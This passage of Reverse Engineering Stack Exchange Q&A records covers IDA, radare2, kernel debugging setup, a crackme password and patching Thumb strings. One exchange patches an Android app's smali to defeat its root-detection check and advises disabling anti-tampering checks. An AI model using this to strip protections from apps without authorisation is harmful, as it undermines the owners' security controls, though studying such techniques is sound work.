    :\\>dir /b & cl /nologo runasm.cpp & runasm.exe\nrunasm.cpp\nrunasm.cpp\n a  b  r  z  s  c\n 0  4 ff  0  1  1\n 1  4 ff  0  1  1\n 2  4 ff  0  1  1\n 3  4 ff  0  1  1\n 4  4  1  0  0  1\n 5  4  1  0  0  1\n 6  4  1  0  0  1\n 7  4  1  0  0  1\n
    \n" }, { "Id": "13136", "CreationDate": "2016-07-25T11:08:43.770", "Body": "

    I was disassembling a function using IDA's pseudocode view and for some reason, IDA did not associated labels to some of the variables

    \n\n

    \"\"

    \n\n

    To fix that, I added some comments so I can work with it.

    \n\n

    Is there a way to manually add such variables ?

    \n\n

    I saw a SE post saying to make a script, I'm a new IDA user, I don't really want to bother with that yet.

    \n\n

    If it's not possible or \"\"\"complicated\"\"\" (don't throw me rocks please ;) ) that's no big deal, the function is not that large I can work on it without problems, I'm asking this to get the hang of IDA or to get a general approach of this problem.

    \n\n

    Thank you for your time.

    \n", "Title": "IDA - Is it possible to \"add\" local variables in pseudocode view", "Tags": "|ida|", "Answer": "

    All highlighted identifiers looks like class members (or structure members, depends on the code) where the object is pointed by this pointer, which is located not on stack of this specific function, but in other place.

    \n\n

    You can handle it as follows:

    \n\n
      \n
    1. Right click on this
      2. \n
    2. Find in the context menu something like \"Create structure\" and press it
      3. \n
    3. Give this structure a name
      4. \n
    4. Enjoy results
      5. \n
    5. You can rename structure fields by pressing N just as in case of ordinary variables.
      6. \n
    6. You can edit the structure in structures window (View->Open subviews->Structures, refresh the pseudo-code view after edit)
      7. \n
    \n\n

    You'll probably need to assign the same pointer type to this_ variable.\nBy the way, if you'll press = on this_ variable you'll be able to define that this and this_ are actually the same thing, this will simplify the resulting pseudo-code.

    \n\n

    Good luck

    \n" }, { "Id": "13139", "CreationDate": "2016-07-25T12:30:16.140", "Body": "

    The problem: Recently I had to perform a kernel debugging on two MS windows VMWare virtual machines connected via a virtual serial port, and while running on a GNU/Linux host.

    \n\n

    The layout: GNU/Linux host with Arch Linux distribution (even though the distro does not play a crucial role in this scenario), with VMWare Workstation 11 installed, hosting two MS Windows virtual machines - MS Windows 7SP1 x64 (the DEBUGGER), and MS Windows 8.0 x64 (the DEBUGGEE).

    \n\n

    The solution: I did quite a lot of Googling to figure this out, and there was some information here and there, but I was no able to find a solution that would work for my case.\nTherefore, I have compiled my findings and a working step-by-step approach in the solution written below. Hopefully this will be also useful for someone else as well.

    \n", "Title": "How to connect two Windows VMWare virtual machines over a virtual serial port for kernel debugging on a Linux host", "Tags": "|windows|debugging|virtual-machines|", "Answer": "

    This is a step-by-step approach, excluding the actual host system installation, VMware setup and Virtual Machine creation, since these are rudimentary steps and anyone willing to perform kernel debugging should be capable doing.\nThe approach is split into three parts - the VM hardware settings, MS Windows configuration, and establishing a debugging session.

    \n\n

    I. VM hardware settings

    \n\n
      \n

    1. Start with the DEBUGGER VM (the one from where you will be connecting to the DEBUGGEE to perform kernel debugging). In virtual machine settings hardware tab click 'Add...' to add new 'Serial port' device.

      \n\n

      \"VMWare

      2. \n

    2. Set Serial port type to 'Output to socket'.

      \n\n

      \"Output

      3. \n

    3. Give the name to the Socket (named pipe) a one you desire in a writeable location. I chose a '/tmp' folder and give the name 'com1', so that the full path of the socket is '/tmp/com1'. Since the DEBUGGER will connect to a DEBUGGEE specify the direction of connection as 'From: Client' and 'To: A Virtual Machine'. Also, make sure the device status is selected as 'Connect at power on' unless you require otherwise.

      \n\n

      \"Named

      4. \n

    4. Once you click 'Finish' the DEBUGGER VM is prepared to use the serial connection.

      \n\n

      \"Debugger

      5. \n

    5. Configure the DEBUGGEE VM (the one which will be debugged). In virtual machine settings hardware tab click 'Add...' to add new 'Serial port' device.Set Serial port type to 'Output to socket'. Give the name to the Socket exactly the same one as you set it for the DEBUGGER, in this case - '/tmp/com1'. Specify the direction of connection as 'From: Server' and 'To: A Virtual Machine'. Check that device status is selected as 'Connect at power on' unless you require otherwise.

      \n\n

      \"Debuggee

      6. \n

    6. For the I/O mode make sure that 'Yield CPU on poll' is checked. Once done, this will prepare your VM to use the serial connection, and both VMs should be able to communicate over that.\n\"Debuggee

      7. \n
    \n\n

    II. MS Windows configuration

    \n\n
      \n

    1. Start you DEBUGGEE machine in order to enable debugging mode on a MS Windows system. Launch the command prompt 'cmd.exe' as Administrator and execute the 'bcdedit' command to view the current boot settings.

      \n\n

      \"bcdedit\"

      2. \n

    2. Execute (and adjust identifiers as needed) the following commands to create an additional boot option with debugging enabled:

      \n\n
      \n

      bcdedit /copy {current} /d \"Windows 8 Debugging\"

      \n \n

      bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debug on

      \n \n

      bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debugtype serial

      \n \n

      bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} debugport 1

      \n \n

      bcdedit /set {ec04b3f3-16f4-11e6-b020-9ef119952d26} baudrate 115200

      \n
      \n\n

      This should get your MS Windows DEBUGGEE be ready to boot in a debugging mode once restarted.

      3. \n
    \n\n

    III. Establishing a debugging session

    \n\n
      \n

    1. Start the DEBUGGER VM. Download and install the MS Windows SDK with debugging tools. The Microsoft Windows SDK for Windows 7 can be found here. Run the WinDbg and choose 'File/Kernel Debug (Ctrl+K)' to configure a debugging session over serial connection. In kernel Debugging settings COM tab, set baud rate to 115200 and port - com1 (or the name you specified). Once you click OK, the WinDbg will start waiting on com1 for incoming debugging sessions.

      \n\n

      \"WinDbg

      2. \n

    2. Start the DEBUGGEE VM. Make sure you choose the \"Windows 8 Debugging\" boot option to start the machine in the debugging mode.

      3. \n

    3. On your DEBUGGER VM in WinDbg you should see an incoming kernel debugging connection. Select 'Debug/Break (Ctrl+Break)' to issue an interrupt and start debugging the kernel.

      \n\n

      \"Kernel

      4. \n
    \n\n

    These steps should be enough to get the Kernel Debugging session over serial connection between two MS Windows VMs on a GNU/Linux host up and running.

    \n" }, { "Id": "13147", "CreationDate": "2016-07-26T13:41:21.317", "Body": "

    I'm trying to learn reverse engineering techniques, apologies in advance if I leave anything out

    \n\n

    I'm trying to find the password in the following section of disassembled code (there are other blocks of code in case those need to be included as well)

    \n\n
    push    ebp\nmov     ebp, esp\nand     esp, 0FFFFFFF0h\npush    esi\npush    ebx\nsub     esp, 158h\nmov     eax, [ebp+arg_4]\nmov     [esp+1Ch], eax\nmov     eax, large gs:14h\nmov     [esp+14Ch], eax\nxor     eax, eax\nmov     dword ptr [esp+2Eh], 74726170h\nmov     word ptr [esp+32h], 32h\nmov     dword ptr [esp+141h], 32656854h\nmov     dword ptr [esp+145h], 6150646Eh\nmov     word ptr [esp+149h], 7472h\nmov     byte ptr [esp+14Bh], 0\nmov     dword ptr [esp+4], offset aPassword ; \"password:\\n\"\nmov     dword ptr [esp], offset _ZSt4cout ; std::cout\ncall    __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*)\nmov     dword ptr [esp+8], 100h ; int\nlea     eax, [esp+41h]\nmov     [esp+4], eax    ; char *\nmov     dword ptr [esp], offset _ZSt3cin ; this\ncall    __ZNSi3getEPci  ; std::istream::get(char *,int)\nlea     eax, [esp+40h]\nmov     [esp], eax\ncall    __ZNSaIcEC1Ev   ; std::allocator<char>::allocator(void)\nlea     eax, [esp+40h]\nmov     [esp+8], eax\nmov     dword ptr [esp+4], offset aThisisnotthepa ; \"thisisnotthepassword\"\nlea     eax, [esp+38h]\nmov     [esp], eax\ncall    __ZNSsC1EPKcRKSaIcE ; std::string::string(char const*,std::allocator<char> const&)\nlea     eax, [esp+40h]\nmov     [esp], eax\ncall    __ZNSaIcED1Ev   ; std::allocator<char>::~allocator()\nmov     dword ptr [esp+8], 3E8h ; n\nlea     eax, [esp+41h]\nmov     [esp+4], eax    ; s2\nmov     dword ptr [esp], offset s1 ; \"FBQ2GE9\"\ncall    _strncmp\ntest    eax, eax\njnz     short loc_8048A74\n
    \n\n

    If the compare succeeds, then the password is correct

    \n\n

    I was thinking that it would have been FBQ2GE9, but that's apparently the wrong answer. What am I missing here?

    \n", "Title": "Finding password in disassembled code", "Tags": "|disassembly|binary-analysis|x86|", "Answer": "

    I'm not specialist, especially in C++ re, but password is constructing in the lines:

    \n\n
    mov     dword ptr [esp+2Eh], 74726170h\n...\nmov     byte ptr [esp+14Bh], 0\n
    \n\n

    Second command is null-byte in null terminated strings. \nAlso, you should take care to endianness.\nSo answer is in that numbers: 70617274 32 54686532 6E645061 7274.\nThis is hex representation of password, which you can convert into ascii with python3 command:

    \n\n
    $ python3 -c 'import binascii; print(binascii.unhexlify(\"7061727432546865326E6450617274\"))'\nb'part2The2ndPart'\n
    \n\n

    So the answer is part2The2ndPart

    \n\n

    Also take a look at the Denis's Yrichev reverse engineering book for beginners.

    \n\n

    UPDATE

    \n\n
    ./part1.exe\npassword:\nFBQ2GE9\ncorrect!\nusername: part2, password: The2ndPart\n10.56.15.125\n
    \n" }, { "Id": "13160", "CreationDate": "2016-07-28T20:32:11.027", "Body": "

    I am trying to disassemble a binary with radare2, as a free alternative to IDA. Here is how the IDA disassembly of that section looks like :

    \n\n

    Here is what I am doing with Radare2 (with an additional option of e asm.cmtright=true in my .radare2rc file)\n:

    \n\n
      r2 binary \n    [0x004027c0]> aaa\n\u2502          [0x004027c0]> s 0x40baa4\n\u2502          [0x0040baa4]> pd 10\n\u2502           0x0040baa4    4200053c     a1 |= loc.00420000\n\u2502           0x0040baa8    301ea524     a1 += 7728\n\u2502           0x0040baac    08c52426     a0 = s1 - 15096\n\u2502           0x0040bab0    09f82003     call t9\n\u2502           0x0040bab4    304c02ae     [s0 + 19504] = v0\n\u2502           0x0040bab8    1800bc8f     gp = [sp + 24]\n\u2502           0x0040babc    304c048e     a0 = [s0 + 19504]\n\u2502           0x0040bac0    2c83998f     t9 = [gp - 31956]\n\u2502           0x0040bac4    00000000     \n\u2502           0x0040bac8    09f82003     call t9\n
    \n\n

    whereas the disassembly from the same location in IDA looks like :

    \n\n
    .text:0040BAA4                 la      $a1, aId         # \"id\"\n.text:0040BAAC                 addiu   $a0, $s1, (sub_40C508 - 0x410000)\n.text:0040BAB0                 jalr    $t9 ; parse_uri\n.text:0040BAB4                 sw      $v0, dword_434C30\n.text:0040BAB8                 lw      $gp, 0x12B8+var_12A0($sp)\n.text:0040BABC                 lw      $a0, dword_434C30\n.text:0040BAC0                 la      $t9, sobj_get_string\n.text:0040BAC4                 nop\n.text:0040BAC8                 jalr    $t9 ; sobj_get_string\n
    \n\n

    Is it possible to have radare2 show similar disassembly and be more meaningful?

    \n\n

    Another example would be :

    \n\n
    [0x004127f8]> pd 10\n\u2502           0x004127f8    6c83998f     t9 = [gp - 31892]\n\u2502           0x004127fc    00000000     \n\u2502           0x00412800    09f82003     call t9\n\u2502           0x00412804    2000a427     a0 = sp + 32\n\u2502           0x00412808    1800bc8f     gp = [sp + 24]\n\u2502           0x0041280c    02000524     a1 = 2\n\u2502           0x00412810    5481998f     t9 = [gp - 32428]\n\u2502           0x00412814    21300000     a2 = zero\n\u2502           0x00412818    09f82003     call t9\n\u2502           0x0041281c    2120c002     a0 = s6\n
    \n\n

    compared to IDA :

    \n\n
    .text:004127F8                 la      $t9, system\n.text:004127FC                 nop\n.text:00412800                 jalr    $t9 ; system\n.text:00412804                 addiu   $a0, $sp, 0x248+var_228  # command\n.text:00412808                 lw      $gp, 0x248+var_230($sp)\n.text:0041280C                 li      $a1, 2           # cmd\n.text:00412810                 la      $t9, lockf\n.text:00412814                 move    $a2, $zero       # len\n.text:00412818                 jalr    $t9 ; lockf\n.text:0041281C                 move    $a0, $s6         # fd\n
    \n\n

    IDA even tells me that this is the address of system, while just looking at the radare2 code I wouldn't have had been able to find it.

    \n\n

    Any suggestions on how I could improve the radare2 analysis or it is just one of the limitations ?

    \n", "Title": "Radare2 to show code hints like IDA Pro?", "Tags": "|ida|disassembly|disassemblers|radare2|mips|", "Answer": "

    This is currently Work in progress feature. It is called type propagation analysis that allows giving hints on variables types and their name in case of using standard functions.

    \n\n

    I cant explain how to use because it is still not finished. but you will expected to provide calling conventions profile and data-types/function prototypes profiles for target architecture, they will be used to match function arguments to each instance of call instruction stack frame and registers as described per the profiles.

    \n\n

    This analysis round should be target architecture independent. Once it is fully implemented I will update the answer to describe how to use that analysis

    \n" }, { "Id": "13174", "CreationDate": "2016-07-30T23:50:08.510", "Body": "

    I think I've seen it somewhere a few years back, but couldn't find a mention anywhere.

    \n\n

    I'm developing an IDAPython plugin and I'd like to embed IDB-specific information inside IDBs. Obviously, I could write that data into another file but embedding it into IDB files will really suit my needs.

    \n\n

    The data itself is quite simple and small, I could do with few tens (hundred max) of bytes. I can go one binary blob or free-text/json that I manually manage.

    \n\n

    I thought about adding a section of my own, but that's a bit too hacky and IDA instances without my plugin will show it to the user.

    \n\n

    Any suggestions?

    \n", "Title": "Adding user(/plugin/thirdparty) data to IDB files", "Tags": "|ida|idapython|", "Answer": "

    You can try netnode. check out https://github.com/williballenthin/ida-netnode .

    \n" }, { "Id": "13175", "CreationDate": "2016-07-31T03:41:47.313", "Body": "

    Currently I'm reversing a Windows driver, and there are a lot of structs IDA doesn't automatically recognize, which means I have to import them manually by parsing C header files.

    \n\n

    However, there are way too many nested structs/unions and I have to modify each one so IDA can parse it correctly. They go so deep, they make me spend more time on adding structs rather than actually reversing.

    \n\n

    Is there any way of doing this?

    \n\n

    I did try parsing the file I need with Ctrl+F9, but IDA doesn't understand stuff like e.g. #includes and errors, making this option impossible to use

    \n", "Title": "How to import Windows DDK headers into IDA?", "Tags": "|ida|windows|driver|", "Answer": "

    View->Open subviews->Type Libraries (Shift-F11), right click, Load Type Library..., wdk8_km.

    \n" }, { "Id": "13185", "CreationDate": "2016-08-02T03:06:18.977", "Body": "

    I want to list parameter of function for analysis. Can I list the parameter of function using IDA Pro or IDAPython ?

    \n", "Title": "How to list parameter of function from IDA Pro?", "Tags": "|ida|assembly|idapython|functions|", "Answer": "

    with some hack like this ?

    \n\n
    cmt = GetType(ScreenEA());\nprint cmt\nfc = cmt.split(\"(\")\nsc = fc[1].split(\")\")\ntc = sc[0].split(\",\")\nfor s in tc:\n    print s\n
    \n\n

    result when cursor is in functionstart

    \n\n
    int __stdcall(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)\nHINSTANCE hInstance\n HINSTANCE hPrevInstance\n LPSTR lpCmdLine\n int nShowCmd\n
    \n" }, { "Id": "13192", "CreationDate": "2016-08-02T15:53:00.540", "Body": "

    I'm currently working with a huge set of IDA Pro listings (~1TiB).

    \n\n

    For a project I need to perform analyses on the mnemonics and operands on a subroutine level. Therefor I want to convert the IDA format in a plain assembly format, as the existing parser only works for \"PLAIN ASM\" files.

    \n\n

    Additonally this should be done without using a non-free version of IDA.

    \n\n

    IDA ASM

    \n\n
    .text:00401000                             ; =============== S U B R O U T I N E =======================================\n.text:00401000\n.text:00401000                             ; Attributes: bp-based frame\n.text:00401000\n.text:00401000                             sub_401000      proc near           ; CODE XREF: sub_43BD35+Ap\n.text:00401000\n.text:00401000                             var_C           = dword ptr -0Ch\n.text:00401000                             var_8           = dword ptr -8\n.text:00401000                             var_4           = dword ptr -4\n.text:00401000\n.text:00401000 55                                  push    ebp\n.text:00401001 8B EC                                   mov     ebp, esp\n.text:00401003 83 EC 0C                                sub     esp, 0Ch\n.text:00401006 89 4D F4                                mov     [ebp+var_C], ecx\n.text:00401009 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401021 59                                  pop     ecx\n.text:00401022\n.text:00401022                             loc_401022:                 ; CODE XREF: sub_401000+Fj\n.text:00401022 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401025 83 78 04 00                             cmp     dword ptr [eax+4], 0\n.text:00401029 74 12                                   jz      short locret_40103D\n.text:0040102B 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:0040102E 8B 40 04                                mov     eax, [eax+4]\n.text:00401031 89 45 F8                                mov     [ebp+var_8], eax\n.text:00401034 FF 75 F8                                push    [ebp+var_8]     ; void *\n.text:00401037 E8 B8 0D 00 00                              call    ??3@YAXPAX@Z    ; operator delete(void *)\n.text:0040103C 59                                  pop     ecx\n.text:0040103D\n.text:0040103D                             locret_40103D:                  ; CODE XREF: sub_401000+29j\n.text:0040103D C9                                  leave\n.text:0040103E C3                                  retn\n.text:0040103E                             sub_401000      endp\n
    \n\n

    Convert to:

    \n\n

    PLAIN ASM

    \n\n
    =============== S U B R O U T I N E =======================================\npush    ebp\nmov     ebp, esp\nsub     esp, 0Ch\nmov     [ebp+var_C], ecx\nmov     eax, [ebp+var_C]\npop     ecx\nmov     eax, [ebp+var_C]\ncmp     dword ptr [eax+4], 0\njz      short locret_40103D\nmov     eax, [ebp+var_C]\nmov     eax, [eax+4]\nmov     [ebp+var_8], eax\npush    [ebp+var_8]     ; void *\ncall    ??3@YAXPAX@Z    ; operator delete(void *)\npop     ecx\nleave\nretn\n
    \n\n

    Question:\nAre there solutions or scripts already existing for such a (automatically or batch-mode) conversion (at the best without needing a IDA non-free version)?

    \n", "Title": "Convert IDA listings to assembly without using IDA non-free", "Tags": "|ida|disassembly|assembly|", "Answer": "

    I assume you already have the assembly output produced by ida and want to parse test only if that is the case you can improvise this.

    \n\n

    Assuming i copy pasted the IDA.ASM in your post to a text file.

    \n\n

    I can print all the disassembly lines only using the XXX below \nif you are on windows you need the gnuwin32 port of the unix utilities used in path.

    \n\n
    \n\n

    Suggestion 1:

    \n\n

    Details of the text file:

    \n\n
    wc -l ida.asm & echo. & head -n 2 IDA.ASM & echo. & tail -n 2 IDA.ASM & echo. & head -n 11 IDA.ASM | tail -1\n
    \n\n

    Output:

    \n\n
    31 ida.asm\n\n.text:00401000                             ; =============== S U B R O U T I N E =======================================\n.text:00401000\n\n.text:0040103E C3                                  retn\n.text:0040103E                             sub_401000      endp\n.text:00401000 55                                  push    ebp\n
    \n\n

    Text parsing to isolate disassembly only from the said text file:

    \n\n
    tac ida.asm | awk \"{if(a[$1]++==0){print $0} }\" | sort\n
    \n\n

    Result as follows:

    \n\n
    :\\>tac ida.asm | awk \"{if(a[$1]++==0){print $0} }\" | sort\n.text:00401000 55                                  push    ebp\n.text:00401001 8B EC                                   mov     ebp, esp\n.text:00401003 83 EC 0C                                sub     esp, 0Ch\n.text:00401006 89 4D F4                                mov     [ebp+var_C], ecx\n.text:00401009 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401021 59                                  pop     ecx\n.text:00401022 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:00401025 83 78 04 00                             cmp     dword ptr [eax+4], 0\n.text:00401029 74 12                                   jz      short locret_40103D\n.text:0040102B 8B 45 F4                                mov     eax, [ebp+var_C]\n.text:0040102E 8B 40 04                                mov     eax, [eax+4]\n.text:00401031 89 45 F8                                mov     [ebp+var_8], eax\n.text:00401034 FF 75 F8                                push    [ebp+var_8]     ; void *\n.text:00401037 E8 B8 0D 00 00                              call    ??3@YAXPAX@Z    ; operator delete(void *)\n.text:0040103C 59                                  pop     ecx\n.text:0040103D C9                                  leave\n.text:0040103E                             sub_401000      endp.text:0040103E C3                                  retn\n
    \n\n
    \n\n

    Suggestion 2:

    \n\n

    Well as i commented if you could print the last line of a group based on first column comparison you can elieminate tac.\nI searched around SO and found this print last line in each group of result based on comparison results of first column only .

    \n\n

    I adapted it to the needs of this question:

    \n\n
    awk \"{a[$1]=$0} END {for (i in a ) print a[i]}\" IDA.lst  | sort | awk \"{ print substr($0,42) }\" | tr -s [:blank:]\n
    \n\n

    Output:

    \n\n
     push ebp\n mov ebp, esp\n sub esp, 0Ch\n mov [ebp+var_C], ecx\n mov eax, [ebp+var_C]\n pop ecx\n mov eax, [ebp+var_C]\n cmp dword ptr [eax+4], 0\n jz short locret_40103D\n mov eax, [ebp+var_C]\n mov eax, [eax+4]\n mov [ebp+var_8], eax\n push [ebp+var_8] ; void *\n call ??3@YAXPAX@Z ; operator delete(void *)\n pop ecx\n leave\n sub_401000 endp\n
    \n\n
    \n\n

    Suggestion 3:

    \n\n

    A similar solution based on the suggestions above. This approach will additionally respects the last retn statement and filters out comments (;) at the end of the line:

    \n\n
    grep -E \"^.{10,15} [0-9A-F]{2} *\" IDA.ASM | sort | cut -c40-200 | tr -s [:blank:] | cut -d \";\" -f1\n
    \n\n

    Output:

    \n\n
     push ebp\n mov ebp, esp\n sub esp, 0Ch\n mov [ebp+var_C], ecx\n mov eax, [ebp+var_C]\n pop ecx\n mov eax, [ebp+var_C]\n cmp dword ptr [eax+4], 0\n jz short locret_40103D\n mov eax, [ebp+var_C]\n mov eax, [eax+4]\n mov [ebp+var_8], eax\n push [ebp+var_8]\n call ??3@YAXPAX@Z\n pop ecx\n leave\n retn\n
    \n\n

    Pure AWK Based Suggestion

    \n\n

    I have an aversion to using n number of utilities to accomplish a job
    \nand i needed to brush up my awkyquotient so here is an awk only code
    \nyou may need to test rinse and repeat
    \nit seems to work for the copy paste of plain.asm

    \n\n
    { \n    a[$1] = $0 ;                      # array a will contain last  entry in each group \n    if(b[$1]++==0) c[$1] = $0;        # array c will contain first entry of each group\n} END { \n    n = asort(a); m = asort(c);       # sort both arrays\n    if (n == m) {                     # some caution    \n        for( k=1; k<=n; k++ ){     \n            if(a[k]!= c[k]) {         # lets split input into 3 seperate arrays  \n                d[k] = a[k]           # one where all entries except last is valid\n                e[k] = c[k]           # one where only last entry is valid\n            } else {\n                f[k] = a[k]           # one where both arrays have same entries\n            }\n        }\n    }\n    o = asort(d); p = asort(e) ; q= asort(f) # sort all 3 arrays\n    z = 1;\n    while(z != o)    {\n        g[z] = d[z]                  #insert final array with first n entries \n        z++;                         #(except last entry)\n    }\n    y = 1;\n    while(y != q+1) {\n        g[z] = f[y]                  #insert final array with all equal entries \n        z++;y++\n    }\n    x = p;\n    while(x != p-1) {\n        g[z] = e[x]                  # insert final array with last entry\n        z++;x--\n    }\n    r = asort(g)                     # sort the final array and print substring\n    startofdis = 44;                 # lets set a start    \n    for (i = 1; i <= r; i++ ) {\n    match(g[i] ,/;.*/);              # match everything after a ; (semicolon)\n    if(RLENGTH == -1){               # awk should set the RSTART and RLENGTH\n    print substr( g[i] ,startofdis)  # if RLENGHT == -1 no semicolon \n    }                                # lets print from startofdis to end\n    else\n    print substr(g[i] , startofdis , RSTART-startofdis ) # print only the middle portion\n    }\n}\n
    \n\n

    Result as follows

    \n\n
    :\\>awk -f awky.txt ida.lst\n        push    ebp\n            mov     ebp, esp\n            sub     esp, 0Ch\n            mov     [ebp+var_C], ecx\n            mov     eax, [ebp+var_C]\n        pop     ecx\n            mov     eax, [ebp+var_C]\n            cmp     dword ptr [eax+4], 0\n            jz      short locret_40103D\n            mov     eax, [ebp+var_C]\n            mov     eax, [eax+4]\n            mov     [ebp+var_8], eax\n            push    [ebp+var_8]\n                call    ??3@YAXPAX@Z\n        pop     ecx\n        leave\n        retn\n\n:\\>\n
    \n" }, { "Id": "13194", "CreationDate": "2016-08-03T03:05:45.347", "Body": "

    I had some fun using IDA Pro Dalvik Debugger in the past using AVD emulator. \nHowever I stumbled upon a APK that somehow does not run well inside AVD. APK runs fine on a real device so I am trying to use IDA Pro dalvik debugger to debug the APK on a real device.

    \n\n

    The problem is, when using AVD all I had to setup was packagename and activity name in the Debugger Setup -> Set specific options and debugger worked well but trying on a real device keep fails with message like ADB error: listener 'tcp:239166' not found or IDA started the application but unable to connect .. message.

    \n\n

    I tried adb forward on a port Dalvik debugger is using but no progress :(

    \n\n

    Can anyone provide help? Thanks in advance.

    \n", "Title": "Howto setup IDA Pro Dalvik Debugger Process Options to debug APK on a real device", "Tags": "|ida|dalvik|", "Answer": "

    Setting the target app to debuggable in the android manifest and repackaging the apk has done the job. I didn't know that AVD automatically sets the APK to debuggable.

    \n" }, { "Id": "13198", "CreationDate": "2016-08-03T07:46:34.993", "Body": "

    I'm trying to reverse an apk, overload some function and rebuild/sign it.

    \n\n

    I should have done everything in the correct way; the only thing I edited is a function that check if the device is rooted.\nThe function is isRooted and it calls other 3 functions:

    \n\n
      public static boolean isRooted()\n  {\n    return (checkRootMethod1()) || (checkRootMethod2()) || (checkRootMethod3());\n  }\n
    \n\n

    I tried to change the \"smali-version\" of this function in that way:

    \n\n
    .method public static isRooted()Z\n    .locals 1\n\n    .prologue\n    .line 15\n    invoke-static {}, Lcom/name1/name2/CtrlDevice;->checkRootMethod1()Z\n\n    move-result v0\n\n    if-nez v0, :cond_0\n\n    invoke-static {}, Lcom/name1/name2/CtrlDevice;->checkRootMethod2()Z\n\n    move-result v0\n\n    if-nez v0, :cond_0\n\n    invoke-static {}, Lcom/name1/name2/CtrlDevice;->checkRootMethod3()Z\n\n    move-result v0\n\n    if-nez v0, :cond_0\n\n    const/4 v0, 0x0\n\n    :goto_0\n    return v0\n\n    :cond_0\n    const/4 v0, 0x0\n\n    goto :goto_0\n.end method\n
    \n\n

    The only difference from the original version is that the cond_0 was

    \n\n
    :cond_0\nconst/4 v0, 0x1\n
    \n\n

    After that I built an APK with apktool and I signed it with jarsigner and everything seems to be ok, but when I install the app on my device and I run it, after the splash it crashes.

    \n\n

    I know that the question is really generic and I don't want a direct solution to this problem but I would like to know if is possible to implement something like a check that prevent to run the app after something has changed. Is possible something like that? How can I skip this check?

    \n", "Title": "Reversed APK crashes after install", "Tags": "|android|java|apk|", "Answer": "

    Yes it is possible to have anti-tampering checks, and I have seen apps with them. That being said, you should eliminate the simplest causes first.

    \n\n

    Did you check logcat? Most likely you accidentally screwed up the smali or otherwise messed up the apk. You should be able to see why the app crashed by checking logcat.

    \n\n

    Another thing you should check is whether the app works if you simply resign it with no code changes.

    \n\n

    Anyway, if it turns out that the app actually does have anti-tampering checks, you just have to reverse engineer it and disable the checks. There obviously isn't any one size fits all advice here, since anything you do is specific to the particular checks implemented.

    \n" }, { "Id": "13201", "CreationDate": "2016-08-03T15:18:42.487", "Body": "

    I am trying to patch a cydia tweak which has been developed by using Objective-C. I would like to modify a piece of code to suite my need.

    \n\n

    I'm using IDA Pro V6.8 for my examining. After inspecting, I recognize that each Hex byte would represent a part of an assembly line code.

    \n\n

    Bellow is a screenshot for the code that I need to change.\n\"enter

    \n\n

    Looking at the above screenshot, we need to have 8 bytes (4A F2 A6 50 C0 F2 01 00) to represent a \"MOV\" instruction. Let's me say something about these 8 bytes:

    \n\n
      \n
    1. As I know, the first four bytes (4A F2 A6 50) represent for \"#(cfstr_UnknownCallbac - 0x9F56)\" which you see in the screenshot.
      2. \n
    2. The two following bytes (C0 F2) represent for an MOV instruction.
      3. \n
    3. The last two bytes (01 00) would tell the system to move value from the string into the register, in this case, the register is R0.
      4. \n
    \n\n

    I have some concerns about the MOV instruction and the first four HEX bytes (4A F2 A6 50)

    \n\n
      \n

    1. What does the \"0x9F56\" in the instruction means?

      2. \n

    2. How does the system know that the first four bytes reflect correctly to \"#(cfstr_UnknownCallbac - 0x9F56)\" not any other string variables?

      3. \n

    3. I need to create a new string and then I will use it to replace the existing \"#(cfstr_UnknownCallbac - 0x9F56)\". I believe that I just need to replace the first four HEX bytes so that it would point to the new string, but I don't know what are the HEX codes should I have here.

      4. \n
    \n\n

    Any help is appreciated, thank you very much.

    \n", "Title": "How do I change a string correctly in IDA Pro?", "Tags": "|patch-reversing|", "Answer": "

    To understand what's happening, you need to learn about Position Independent Code (PIC).

    \n\n

    In a nutshell, the compiler wants the executable code to be correct independent of where in memory it gets loaded. In the case of a shared library, the OS may load it at a different place every time; even if statically linked, PIC will make the linker's life easier.

    \n\n

    The \"trick\" that's normally used on ARM processors to produce PIC is using PC (Program Counter) relative addresses. The compiler doesn't produce code that says \"the string is at address 0x123456\", it produces \"the string is 0x1234 bytes behind this instruction\". Thus, when the program is moved in memory, the \"0x1234\" stays the same.

    \n\n

    Which is why your 2nd instruction adds the program counter to the relative address in R0.

    \n\n

    Now, to know what ADD R0, PC really does, you need to know how the processor works. The processor is in Thumb (2 byte instructions) mode as you can see from the 2 bytes difference between 9F52 and 9F54, and when the processor executes the ADD R0, PC instruction, the prefetch unit will already have read the first two bytes of BLX _MSlog. So the PC that gets added is actually 9F56. This should answer your first question: in the display of the opcode's meaning, IDA subtracts the value it knows to be added in the next instruction.

    \n\n

    Second question: I don't know the internals of IDA, but I'm 99% sure it looks for ADD Rx, PC instructions, and produces a string reference like yours at the preceding instruction that loads Rx, just because it knows this is the standard way of achieving PIC on ARM.

    \n\n

    Third question: Manually disasembling Thumb is hard - really hard - as you can see if you check the Thumb instruction set. And no, 4a f2 a6 50 isn't just a data offset; it loads the lower 16 bits of the value, and C0 F2 01 00 loads the higher 16 bits of the value. The Online Disassembler translates those two sets of 4 byte instructions to

    \n\n
    movw r0, #42406 ; 0xa5a6          \nmovt r0, #1\n
    \n\n

    and you can read here about the movw and movt instructions. IDA is friendly enough to show all of this as one single 8-byte instruction, but under the hood, a lot more is going on.

    \n\n

    So if you really want to change an offset like this, get familiar with the thumb manual I linked above, learn each and every bit, and assemble the new instructions manually. Or, just (ab)use the gnu assembler in the way I outlined in my answer to this question. Just write a bare minimum assembler snippet and have as handle the gory details for you.

    \n\n

    But, as @joxeankoret said: if you just want to change a string, and don't need the original string anwhere else, and the new string isn't longer than the old one, overwriting the string with the new one will be much easier than finding a place for your new string and adjusting the offsets. You can jump to that position by double clicking the label in IDA, or just scroll to the address 2FF4C (1A5A6+9F56).

    \n" }, { "Id": "13204", "CreationDate": "2016-08-04T01:34:15.200", "Body": "

